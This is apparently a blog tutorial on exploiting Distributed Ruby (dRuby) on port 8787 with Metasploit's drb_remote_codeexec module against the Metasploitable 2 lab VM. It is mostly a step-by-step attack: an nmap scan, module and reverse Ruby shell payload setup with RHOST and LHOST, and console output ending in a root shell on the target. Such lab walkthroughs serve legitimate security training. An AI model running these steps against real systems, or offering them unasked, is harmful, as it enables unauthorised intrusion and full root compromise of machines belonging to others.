Things that are supposed to make life easier for developers and users are often easy targets for exploitation by hackers. Like many situations in the tech world, there is usually a trade-off between convenience and security. One such trade-off is found in a system known as Distributed Ruby, which can be compromised easily with Metasploit.
Overview of Distributed Ruby
Distributed Ruby, also known as dRuby, or DRb, is a distributed object system for the Ruby programming language that allows for remote method calls between Ruby processes, even if they are on different machines. It uses its own protocol and is written entirely in pure Ruby.
This makes for a flexible service that developers can use to enhance certain programs, but it also opens up a security flaw when not properly implemented, such as in older versions of dRuby. Since this is typically used for smaller projects and novice programs, there usually isn't a lot of concern for security issues.
The Metasploit module we will be using automatically tries to exploit the vulnerable instance_eval and syscall methods in order to compromise the service and obtain a shell. We will be testing this on Metasploitable 2, an intentionally vulnerable virtual machine which is running an insecure version of dRuby.
Step 1: Verify the Vulnerability
The first thing we need to do is confirm that Distributed Ruby (dRuby) is running on our target. When dRuby is initially set up, it binds itself to a specific URI and port, in this case, port 8787. We can run an Nmap scan on this port to make sure.
Use the -sV flag to identify service and version information, followed by the IP address of the target, and finally, set port 8787 with the -p flag, since this port is outside of Nmap's default list of common ports that are scanned.
nmap -sV 172.16.1.102 -p 8787
[*] exec: nmap -sV 172.16.1.102 -p 8787
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 10:07 CST
Nmap scan report for 172.16.1.102
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.65 seconds
We can see that the dRuby service is present and running. Now, let's search for an exploit to use.
Step 2: Search for an Exploit
Fire up Metasploit with msfconsole, and type search drb to display any matching results.
msf > search drb
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
exploit/linux/misc/drb_remote_codeexec 2011-03-23 excellent No Distributed Ruby Remote Code Execution
exploit/multi/misc/wireshark_lwres_getaddrbyname 2010-01-27 great No Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow
exploit/multi/misc/wireshark_lwres_getaddrbyname_loop 2010-01-27 great No Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)
It looks like the drb_remote_codeexec is exactly what we need. Load up the exploit with the use command followed by the path of the module.
msf > use exploit/linux/misc/drb_remote_codeexec
Now that we are positioned within this module, we can view information about it using the info command.
msf exploit(linux/misc/drb_remote_codeexec) > info
Name: Distributed Ruby Remote Code Execution
Module: exploit/linux/misc/drb_remote_codeexec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-03-23
Provided by:
joernchen <joernchen@phenoelit.de>
Available targets:
Id Name
-- ----
0 Automatic
1 Trap
2 Eval
3 Syscall
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST no The target address
RPORT 8787 yes The target port
URI no The URI of the target host (druby://host:port) (overrides RHOST/RPORT)
Payload information:
Space: 32768
Description:
This module exploits remote code execution vulnerabilities in dRuby.
References:
CVE: Not available
http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html
http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/
http://bugkraut.de/posts/tainting
This gives us some details about the exploit such as platform information, the initial disclosure date of the vulnerability, and options available for this exploit.
Step 3: Launch the Exploit
Now, we're ready to begin setting our options. We can set the IP address of our target with the set rhost command.
msf exploit(linux/misc/drb_remote_codeexec) > set rhost 172.16.1.102
rhost => 172.16.1.102
Next, we can view the available payloads for this module using the show payloads command.
msf exploit(linux/misc/drb_remote_codeexec) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
cmd/unix/generic normal No Unix Command, Generic Command Execution
cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
generic/custom normal No Custom Payload
generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
As you can see, there are quite a bit of options here. For now, we will use a reverse command shell in Ruby. Use set payload to assign the appropriate payload.
msf exploit(linux/misc/drb_remote_codeexec) > set payload cmd/unix/reverse_ruby
payload => cmd/unix/reverse_ruby
Now, we can display the current settings to see where we are at. Use the options command.
msf exploit(linux/misc/drb_remote_codeexec) > options
Module options (exploit/linux/misc/drb_remote_codeexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.1.102 no The target address
RPORT 8787 yes The target port
URI no The URI of the target host (druby://host:port) (overrides RHOST/RPORT)
Payload options (cmd/unix/reverse_ruby):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Since we specified a reverse shell as our payload, we need to set a listening address for the shell to call back to — this will be the IP address of our local machine. Use set lhost to assign this now.
msf exploit(linux/misc/drb_remote_codeexec) > set lhost 172.16.1.100
lhost => 172.16.1.100
Step 4: Get a Shell
We should be good to go. Type exploit at the prompt, or run, which does the exact same thing but is just shorter. We should see the attack launch and try a couple of methods to exploit the target.
msf exploit(linux/misc/drb_remote_codeexec) > run
[*] Started reverse TCP handler on 172.16.1.100:4444
[*] Trying to exploit instance_eval method
[!] Target is not vulnerable to instance_eval method
[*] Trying to exploit syscall method
[*] attempting x86 execve of .JU4AK4Gh3sOBkaB7
[+] Deleted .JU4AK4Gh3sOBkaB7
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 08:00:27:77:62:6c brd ff:ff:ff:ff:ff:ff
inet 172.16.1.102/12 brd 172.31.255.255 scope global eth0
inet6 fe80::a00:27ff:fe77:626c/64 scope link
valid_lft forever preferred_lft forever
Once it's successful, there should be a blinking cursor as the prompt. We can now execute any command we want, like whoami to view the current user, uname -a to display system information, and ip address to verify that we have a shell on the target system. Since we now have a root shell, we own the system and can basically do whatever we want.
Wrapping Up
In this article, we learned how a simple service intended to provide enhanced functionality to programs was able to be exploited with the goal of attaining root access. Since Distributed Ruby was designed to allow remote communication between processes, inherent security holes were inadvertently opened up. We saw how easily we were able to get a root-level shell on the target system, once again proving just how powerful Metasploit really is.
Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:
1 Comment
Good tute, but might be outdated as the msf doesnt support the drb module anymore :(
Share Your Thoughts